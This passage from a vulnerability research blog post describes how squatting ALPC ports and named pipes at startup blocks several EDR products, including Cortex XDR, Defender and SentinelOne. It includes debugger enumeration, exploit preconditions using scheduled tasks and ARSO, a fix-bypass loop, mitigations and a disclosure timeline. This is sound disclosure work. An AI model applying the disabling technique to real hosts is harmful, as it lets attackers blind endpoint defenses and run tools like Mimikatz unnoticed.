&amp;lt;p class=&quot;figcaption&quot;&amp;gt; &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/rpc/how-rpc-works&quot;&gt;How RPC works&lt;/a&gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following decompiled output from IDA shows how an ALPC port is registered using the RPC Runtime library (RPCRT4.dll) in Cortex.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;rpctrt4_alpc_coretex_usage_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC-RPC Server Registration in Cortex&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Some important notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the port name is NULL, a random port name such as LRPC-71dcaff45b0f633aad is given&lt;/li&gt;
&lt;li&gt;A port can be restricted using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors&quot;&gt;Security Descriptors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If no callback function is provided (and no Security Descriptor), every client can establish a connection&lt;/li&gt;
&lt;li&gt;The RPC Server can be registered at the RPC Endpoint Mapper using the function &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/desktop/api/Rpcdce/nf-rpcdce-rpcepregister&quot;&gt;RpcEpRegister&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Most EDR ports are not registered and depending on the method you use to enumerate the ports, you don&apos;t see them (for example when using &lt;a href=&quot;https://github.com/silverf0x/RpcView&quot;&gt;RpcView&lt;/a&gt;). ProcessHacker/SystemInformer displays all ports in the Handles-Tab&lt;/li&gt;
&lt;li&gt;Clients can connect using the port name or by defining the interface UUID and version contained in the interface description (if it is registered at the endpoint mapper)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vulnerabilities in ALPC usage can be categorized as follows (though other categories probably exist):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weak or missing access control leading to access to sensitive functionality or data&lt;/li&gt;
&lt;li&gt;Memory corruptions in handling function parameters (there is no official implementation to use RPC with managed languages)&lt;/li&gt;
&lt;li&gt;Impersonation vulnerabilities (usefulness In realistic scenarios unclear)&lt;/li&gt;
&lt;li&gt;DoS: Blocking communication (this type of vulnerability, uncovered in this research, is, to our knowledge, previously not discussed publicly).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a better understanding of ALPC and how to interact with it from a testing perspective, we recommend the following talks or the corresponding blog post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=2GJf8Hrxm4k&amp;amp;t=2672s&amp;amp;ab_channel=HackInTheBoxSecurityConference&quot;&gt;Reimplementing Local RPC In .Net - James Forshaw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html&quot;&gt;Calling Local Windows RPC Servers from .NET - Project Zero&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/&quot;&gt;From NtObjectManager to PetitPotam - clearbluejar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For more details on ALPC security and reverse engineering, see the blog posts by 0xcsandker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html&quot;&gt;Offensive Windows IPC Internals 3: ALPC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html&quot;&gt;Debugging and Reversing ALPC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. ALPC Research Results&lt;/h1&gt;
&lt;p&gt;We began looking into ALPC after encountering it while investigating password handling in the Cortex driver cyvrmtng.sys (see &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The first step is to enumerate the ALPC ports and check the Security Descriptors.&lt;/p&gt;
&lt;h2&gt;3.1 Enumerate ALPC-ports&lt;/h2&gt;
&lt;h3&gt;First Method: WinDBG&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !process 0 0 cyserver.exe
PROCESS ffff970f8e6df080
    SessionId: 0  Cid: 24f8    Peb: dd298fc000  ParentCid: 02f4
    DirBase: 239c24000  ObjectTable: ffffaa08f1ffb400  HandleCount: 846.
    Image: cyserver.exe

0: kd&amp;gt; !alpc /lpp ffff970f8e6df080

Ports created by the process ffff970f8e6df080:

  ffff970f8e76ad30(&apos;OLEC4EA145C32D5AB917AD12FA45688&apos;) 0, 1 connections
    ffff970f85fe1a80 0 -&amp;gt;ffff970f87165a80 0 ffff970f87ca5080(&apos;svchost.exe&apos;)

  ffff970f8ab938f0(&apos;Palo-Alto-Networks-Traps-ESM-Rpc&apos;) 0, 1 connections
    ffff970f870ac0b0 0 -&amp;gt;ffff970f9209f070 0 ffff970f8e6df080(&apos;cyserver.exe&apos;)

  ffff970f8c4d6aa0(&apos;Palo-Alto-Networks-Traps-Report-Rpc&apos;) 0, 0 connections

  ffff970f8b2e9760(&apos;TasWorkerServer_811AC91A&apos;) 4, 4 connections
    ffff970f871242c0 0 -&amp;gt;ffff970f8d0e2510 0
ffff970f8eeb1080(&apos;tlaworker.exe&apos;)
    ffff970f871682c0 0 -&amp;gt;ffff970f8d0cd7a0 0
ffff970f8eeaf080(&apos;tlaworker.exe&apos;)
    ffff970f87035910 0 -&amp;gt;ffff970f85f35910 0
ffff970f8eeb0080(&apos;tlaworker.exe&apos;)
    ffff970f87046910 0 -&amp;gt;ffff970f87068910 0
ffff970f8efe2080(&apos;tlaworker.exe&apos;)

  ffff970f91dc4d30(&apos;Palo-Alto-Networks-Traps-DB-Rpc&apos;) 0, 0 connections

  ffff970f927f2d30(&apos;Palo-Alto-Networks-Traps-Scan-Rpc&apos;) 0, 0 connections

  ffff970f8eeafda0(&apos;CyveraPort&apos;) 0, 1 connections
    ffff970f8bb93d10 0 -&amp;gt;ffff970f8e54ec70 0 ffff970f84c7e040(&apos;System&apos;)

Ports the process ffff970f8e6df080 is connected to:
[...]


0: kd&amp;gt; !object ffff970f8ab938f0
Object: ffff970f8ab938f0  Type: (ffff970f84cf7900) ALPC Port
    ObjectHeader: ffff970f8ab938c0 (new version)
    HandleCount: 1  PointerCount: 32757
    Directory Object: ffffaa08e5dfe480  Name: Palo-Alto-Networks-Traps-ESM-Rpc

0: kd&amp;gt; dx (((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)-&amp;gt;SecurityDescriptor)
(((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)-&amp;gt;SecurityDescriptor) :
0xffffaa08ea537d6d [Type: void *]

0: kd&amp;gt; !sd 0xffffaa08ea537d60 1
-&amp;gt;Revision: 0x1
-&amp;gt;Sbz1    : 0x0
-&amp;gt;Control : 0x8804
            SE_DACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
-&amp;gt;Owner   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Dacl    :
-&amp;gt;Dacl    : -&amp;gt;AclRevision: 0x2
-&amp;gt;Dacl    : -&amp;gt;Sbz1       : 0x0
-&amp;gt;Dacl    : -&amp;gt;AclSize    : 0x5c
-&amp;gt;Dacl    : -&amp;gt;AceCount   : 0x4
-&amp;gt;Dacl    : -&amp;gt;Sbz2       : 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;Mask : 0x00030001
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;SID: S-1-1-0 (Well Known Group: localhost\Everyone)

-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;Mask : 0x00030001
-&amp;gt;Dacl    : -&amp;gt;Ace[1]: -&amp;gt;SID: S-1-5-12 (Well Known Group: NT AUTHORITY\RESTRICTED)

-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;AceSize: 0x18
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[2]: -&amp;gt;SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[3]: -&amp;gt;SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

-&amp;gt;Sacl    :  is NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To sum it up, the following ALPC-ports exist&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-DB-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cyapi.dll&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-ESM-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cysvc.dll&lt;/li&gt;
&lt;li&gt;Server: cyverau.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-Report-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: ?&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Palo-Alto-Networks-Traps-Scan-Rpc
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: cyapi.dll&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TasWorkerServer_***
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-1-0 (localhost\Everyone)&lt;/li&gt;
&lt;li&gt;Client: tlaworker.exe&lt;/li&gt;
&lt;li&gt;Server: cysvc.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CyveraPort
&lt;ul&gt;
&lt;li&gt;Security Descriptor: S-1-5-18 (NT AUTHORITY\SYSTEM)&lt;/li&gt;
&lt;li&gt;Client: kernel-driver&lt;/li&gt;
&lt;li&gt;Server: cyserver.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Second Method using ProcessHacker:&lt;/h3&gt;
&lt;p&gt;This method is easier and faster for getting an overview but provides fewer details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;processhacker_alpc.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Tools such as RPCView and many others don&apos;t display these ports because they are not registered in the RPC Endpoint Mapper and they are created by a ProtectedProcess Anti-Malware process. ProcessHacker/SystemInformer ships a driver which allows to access these processes.
:::&lt;/p&gt;
&lt;h2&gt;3.2 Connecting to ALPC Port&lt;/h2&gt;
&lt;p&gt;The password we traced is transmitted via &lt;em&gt;Palo-Alto-Networks-Traps-ESM-Rpc.&lt;/em&gt; Initially, we attempted to connect using the ALPC examples from 0xcsandker, released toghether with &lt;a href=&quot;https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html&quot;&gt;this blog post&lt;/a&gt;. Connecting to the port was successful but sending messages did not seem to work as breakpoints in the receiver were not triggered. However, we shortly noticed, that this approach does not make a lot of sense as ALPC is not used directly but as a RPC-method from rpcrt4.dll with an IDL (Interface definition language).&lt;/p&gt;
&lt;p&gt;We used the &lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html&quot;&gt;NtObjectManager tooling from James Forshaw&lt;/a&gt; to establish a connection to the port:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;ntobjectmanager_alpc.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Connecting to an ALPC port from Cortex&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The reason for the &quot;Access is denied&quot; is the Interface Callback of the ALPC registration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cyerau_alpc1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Registration of the ALPC port&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cyerau_alpc2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; The &lt;code&gt;IfCallback&lt;/code&gt; function of the ALPC port&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;CyOpenServerProcess&lt;/code&gt; retrieves the process from cyserver.exe via the dirver. Afterwards it gets the process ID from the ALPC client via &lt;code&gt;I_RpcBindingInqLocalClientPID&lt;/code&gt; and then it compares the PIDs. If they do not match a connection is rejected.&lt;/p&gt;
&lt;h2&gt;3.3 Impersonating ALPC Server&lt;/h2&gt;
&lt;p&gt;As it was not successful to use a client to obtain sensitive data, we attempted to impersonate the server by opening the ALPC before Cortex starts. We used a slightly modified version of the &lt;a href=&quot;https://github.com/csandker/InterProcessCommunication-Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-ALPC-Basic-Server/CPP-ALPC-Basic-Server.cpp&quot;&gt;CPP-ALPC-Basic-Server.cpp&lt;/a&gt; example to start a ALPC server at &lt;code&gt;\RPC Control\Palo-Alto-Networks-Traps-ESM-Rpc&lt;/code&gt;. We stopped cyserver with cytool and then started the fake server. Afterwards we started cyserver again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;alpc_ESM_serverimpersonation_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; ALPC Server &quot;Impersonation&quot;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The screenshot shows that cyserver.exe connected to the port and sent messages. Because Cyserver.exe itself did not open this, some functionality must be broken. To test this we set up an ALPC server for all the ALPC ports used by Cyserver.exe (except \Cyveraport which requires administrative privileges). After starting this, Cyserver crashed during the initialization.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cortex_crash_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was promising, as Cortex neither prevented nor alerted anything without the user-mode component Cyserver. For example, Mimikatz could be launched and executed without modification.&lt;/p&gt;
&lt;p&gt;The only remaining step was to achieve the same effect during startup without requiring administrative privileges. A scheduled task in combination with Windows ARSO (see this &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;documentation&lt;/a&gt;) successfully disabled Cortex.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cortex_disabled.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next section details how to exploit this vulnerability.&lt;/p&gt;
&lt;p&gt;We tested as many EDRs as possible for the same vulnerability and found, surprisingly, that most were vulnerable. The concept for exploiting this vulnerability is quite simple, so we expected some EDRs to have addressed it. The following list of EDRs are vulnerable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)&lt;/li&gt;
&lt;li&gt;Check Point Harmony&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business&lt;/li&gt;
&lt;li&gt;Trend Micro Vision One XDR&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams (only one module is disabled)&lt;/li&gt;
&lt;li&gt;SentinelOne (only one executable is blocked with unknown consequences)&lt;/li&gt;
&lt;li&gt;Crowdstrike XDR (only certain features are disabled)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3.4 Exploit Conditions&lt;/h2&gt;
&lt;p&gt;Successful exploitation of the ALPC-block DoS vulnerability requires the following preconditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The host reboots (either manually with shutdown privileges or by waiting)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The target ALPC port is registered in a namespace where a low-privileged user has write permissions. The default name space is &quot;\RPC Control&quot; where every user can create objects.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions to create a scheduled task (allowed by default)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alternatively create or modify a service (only for local admins by default) or other methods for early startup (e.g. DLL Hijacking)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exploit registers ALPC ports &lt;strong&gt;before&lt;/strong&gt; the EDR during the Windows startup&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The likelyhood of winning this race varies between EDRs but for most it is 100% reliable in our tests:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For example Cortex (cyserver.exe) takes a long time to initialize itself and also has startup-dependencies to other components. Consequently, it is quite easy to be faster.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If this is exploited by a low-privileged user, it is important to choose a method which starts during the startup of Windows and not after an interactive logon.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A default user does not have the permission to create a scheduled task with the trigger &quot;at startup&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are two options we used to exploit this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;At log on&quot; Trigger in combination with Automatic Restart Sign-On (ARSO) (as per this &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;reference&lt;/a&gt;). ARSO was built to improve the update process and temporarly stores the user credentials to do an auto-login of the current user. However, it can also be used without updating the OS. The following screenshot from the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/winlogon-automatic-restart-sign-on--arso-&quot;&gt;Microsoft ASRO documentation&lt;/a&gt; provides an overview of when ARSO is applied&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;ARSO_overview.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;The ARSO configuration can also be set via group policy or in the Sign-in options&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;ARSO_signin-options.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_1_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_1_2.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Scheduled task with an event-trigger (on any Event ID happening early during the Windows startup). The password of the user needs to be stored in the scheduled task in this case which requires the right &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/log-on-as-a-batch-job&quot;&gt;&quot;SeBatchLogonRight&quot;&lt;/a&gt;. On unmanaged Windows hosts this permission is not given by default. However, on several AD-joined clients, this was enabled in different companies.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;One of the first events that can be used is Event ID &quot;6&quot; from FilterManager which is created if a filter driver is loaded&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;scheduled_task_2_1.PNG&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generally, the process priority of the scheduled task should be set as high as possible. The default priority of a scheduled task is 7 (BELOW\_NORMAL). The priority cannot be adjusted in the GUI. The scheduled task can be exported to an XML where the priority can be adjusted. Afterwards it can be imported again. This could also be done programmatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Priority 0 (REALTIME) and 1 (HIGH) can only be used by local administrators.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Priority 2 (ABOVE\_NORMAL) can be set by all accounts&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3.5 Mitigation&lt;/h2&gt;
&lt;p&gt;This vulnerability cannot be easily fixed because it is an architectural flaw rather than a coding error. The following suggestions primarily mitigate the effects but do not address the root cause:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a randomly generated port name (e.g. UUID)&lt;/li&gt;
&lt;li&gt;Generate an alert of an EDR is not active but the host itself is online&lt;/li&gt;
&lt;li&gt;If a required port is in use, kill the corresponding application via the driver and flag it as malware&lt;/li&gt;
&lt;li&gt;Limit the attack surface to administrative users: Use Port names in the root directory (e.g. \TestPort) which are only accessible to administrative users.&lt;/li&gt;
&lt;li&gt;General recommendation: Ensure the kernel-components can send an alert if a user-mode component is not active.&lt;/li&gt;
&lt;li&gt;Monitor processes via the driver before the user-mode process is started and cache results to sent them later&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some fixes of vendors where analyzed with the following results:&lt;/p&gt;
&lt;h3&gt;Vendor Fixes&lt;/h3&gt;
&lt;p&gt;We examined the fixes from Cortex XDR for &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2023-3280&quot;&gt;CVE-2023-3280&lt;/a&gt; and &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5909&quot;&gt;CVE-2024-5909&lt;/a&gt; in more detail.&lt;/p&gt;
&lt;p&gt;CVE-2023-3280 was &quot;fixed&quot; by blocking the registering of ports used by Cortex (e.g. &lt;em&gt;Palo-Alto-Networks-Traps-DB-Rpc&lt;/em&gt;) by the driver. As soon as the user-mode component was ready to register the port, an IOCTL was send to the driver to release the ports. However, all processes are now allowed to register the port and it opens up a short timeframe to win the race.&lt;/p&gt;
&lt;p&gt;Only one additional line in the exploit code was required to bypass the &quot;fix&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_port();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while(not_successful){
  register_port();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After reporting it to PaloAlto another fix was published in 2024 (CVE-2024-5909). The port names are now UUIDs set or retreived via IOCTls.&lt;/p&gt;
&lt;p&gt;We did not examine the fixed versions of other vendors.&lt;/p&gt;
&lt;h2&gt;3.6 Blocking EDRs with NamedPipes&lt;/h2&gt;
&lt;p&gt;SentinelOne Singularity XDR can be blocked by registering NamedPipes instead of ALPC ports. This demonstrates that other resources can be exploited by the same type of vulnerability. The exploitation is tricky as the NamedPipe is not a static string:
&lt;code&gt;\Device\NamedPipe\DFIScanner.Inline.3360.3720Pipe&lt;/code&gt;
The first number is a PID and the second number is a TID.
During the first start of the EDR during the Windows startup, the values are usually in the range of 2500-4000. The exploit did first register the most likely ports and afterwards other ranges from 0-12000. This technique could be successfully exploited with a low privileged user similiar to the other ALPC based vulnerabilities.&lt;/p&gt;
&lt;h2&gt;3.7 Further Research&lt;/h2&gt;
&lt;p&gt;This research project only scratched the surface of the existing attack surface of EDRs (or XDRs). Further blog posts on this topic are likely. If you have read this entire post, you will have noticed several areas that warrant further investigation.&lt;/p&gt;
&lt;p&gt;The following topics related to the research described in this post should be addressed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Testing the same ALPC DoS vulnerability for further vendors&lt;/li&gt;
&lt;li&gt;Testing other IPC-methods (e.g. NamedPipes) or completely other resources to block EDRs&lt;/li&gt;
&lt;li&gt;Testing accessible ALPC functions for logic bugs or memory corruptions&lt;/li&gt;
&lt;li&gt;Spoofing an IPC-server or IPC-client to modify the behavior or to extract sensitive data&lt;/li&gt;
&lt;li&gt;Analysing the driver interfaces of further EDR products&lt;/li&gt;
&lt;li&gt;Analyzing fixes and searching for potential bypasses such as the one discussed in &lt;a href=&quot;#vendor-fixes&quot;&gt;this section&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;4 Disclosure Process&lt;/h1&gt;
&lt;p&gt;Well… one would think that this would be a rather positive experience compared to other vendors because they make security products themselves. This was not the case for the majority of vendors. First of all, most vendors required more than 90 days to release a fix or did not fix it at all. Most disclosure reports have been sent between April 2023 and September 2023. Some reports have been sent later, as access to some products was not given in 2023. No vendors did provide information on how they fixed it after (e.g. &quot;that is considered proprietary Cortex XDR agent information&quot;) although some requested a retest.&lt;/p&gt;
&lt;p&gt;Second, two vendors responded with unbelievably incompetent questions and comments. One example, after we sent the requested (PoC) code, was the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The cpp program needs to be converted to exe? If no then, what&apos;s the command that you are running?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;An Overview of the disclosure process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR
&lt;ul&gt;
&lt;li&gt;05.04.2023: Reported ALPC-block vulnerability to PaloAlto&lt;/li&gt;
&lt;li&gt;13.09.2023: Released Advisory &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2023-3280&quot;&gt;CVE-2023-3280&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;25.09.2023: Reported a bypass for their &quot;fix&quot; to PaloAlto&lt;/li&gt;
&lt;li&gt;13.10.2023: PaloAlto reponded that that it will take time to address the issue&lt;/li&gt;
&lt;li&gt;12.06.2024: Released Advisory &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5905&quot;&gt;CVE-2024-5905&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Microsoft Defender (for Endpoint)
&lt;ul&gt;
&lt;li&gt;31.05.2023: Reported ALPC-block vulnerability to Microsoft&lt;/li&gt;
&lt;li&gt;19.09.2023: Fix is in testing process (&quot;we plan to release it as part of the October Patch Tuesday&quot;)&lt;/li&gt;
&lt;li&gt;13.11.2023: &quot;During the staggered deployment for the fix to the issue you reported, the team noticed that the fix was causing some crashes on systems with the update installed. ... this will not be completed until December at the earliest.&quot;&lt;/li&gt;
&lt;li&gt;12.03.2024: Released Advisory &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-20671&quot;&gt;CVE-2024-20671&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CheckPoint Harmony
&lt;ul&gt;
&lt;li&gt;07.07.2023: Reported ALPC-block vulnerability to CheckPoint&lt;/li&gt;
&lt;li&gt;17.08.2023: After several clarification mails, they still cannot reproduce it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kaspersky Endpoint Security for Business:
&lt;ul&gt;
&lt;li&gt;07.07.2023: Reported ALPC-block vulnerability to Kaspersky&lt;/li&gt;
&lt;li&gt;12.07.2023: Kaspersky reproduced vulnerability&lt;/li&gt;
&lt;li&gt;13.09.2023: Kaspersky fixed the issue&lt;/li&gt;
&lt;li&gt;21.11:2023: After asking for a CVE, they responded that they will not publish a CVE&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TrendMicro Vision One XDR
&lt;ul&gt;
&lt;li&gt;10.07.2023: Reported ALPC-block vulnerability to TrendMicro&lt;/li&gt;
&lt;li&gt;02.08.2023: After some clarification mails, no further information was provided by TrendMicro&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Malwarebytes for Teams
&lt;ul&gt;
&lt;li&gt;13.07.2023: Reported ALPC-block vulnerability to Malwarebytes that one module can be disabled but not the whole product. Asked them to provide a test license for their Business EDR product which I did not receive.
&lt;ul&gt;
